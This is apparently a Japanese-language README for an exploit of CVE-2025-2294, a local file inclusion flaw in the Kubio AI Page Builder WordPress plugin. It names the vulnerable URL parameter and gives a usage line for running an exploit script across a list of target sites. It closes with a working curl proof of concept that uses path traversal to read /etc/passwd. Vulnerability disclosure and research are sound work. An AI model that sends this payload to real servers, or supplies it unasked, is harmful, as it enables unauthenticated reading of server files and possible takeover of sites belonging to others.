CVE-2025-2294

🚨 CVE-2025-2294 - WordPress向けKubio AI Page Builderにおけるローカルファイルインクルージョン（LFI）脆弱性 🧱

🔍 概要

CVE-2025-2294 は、WordPress用Kubio AI Page Builderプラグイン（バージョン2.5.1まで）に影響を与える深刻な🔥ローカルファイルインクルージョン（LFI）脆弱性です。この欠陥により、認証されていないリモートの攻撃者👾が、__kubio-site-edit-iframe-classic-template URLパラメータを介してサーバー上の任意のファイルを含めることができます。

この脆弱性を悪用すると、機密ファイルの漏洩📂、リモートコード実行💥、システム全体の侵害💀につながる可能性があります。

👤 作者

Muhammad Nizar — セキュリティ研究者🔐
GitHub: 0xWhoami35
YouTube: InfoSec Insight ▶️

---

ご質問やコラボレーションについてはお気軽にお問い合わせください！🤝

---

📋 影響を受けるバージョン

• Kubio AI Page Builder plugin ≤ 2.5.1 🛠️

---

🧰 使用方法

ターゲットURLのリストを指定してエクスプロイトスクリプトを実行します：

python3 lfi.py -l list.txt

⚠️ 脆弱性の詳細

• タイプ: ローカルファイルインクルージョン（LFI）🕳️
• 深刻度: クリティカル（CVSS 9.8）🔥
• 攻撃ベクトル: リモート、認証不要🌐
• 影響: 機密性、完全性、可用性🔐

---

🧪 概念実証（PoC）

curl "https://target-website.com/?__kubio-site-edit-iframe-preview=true&__kubio-site-edit-iframe-classic-template=../../../../../../../etc/passwd"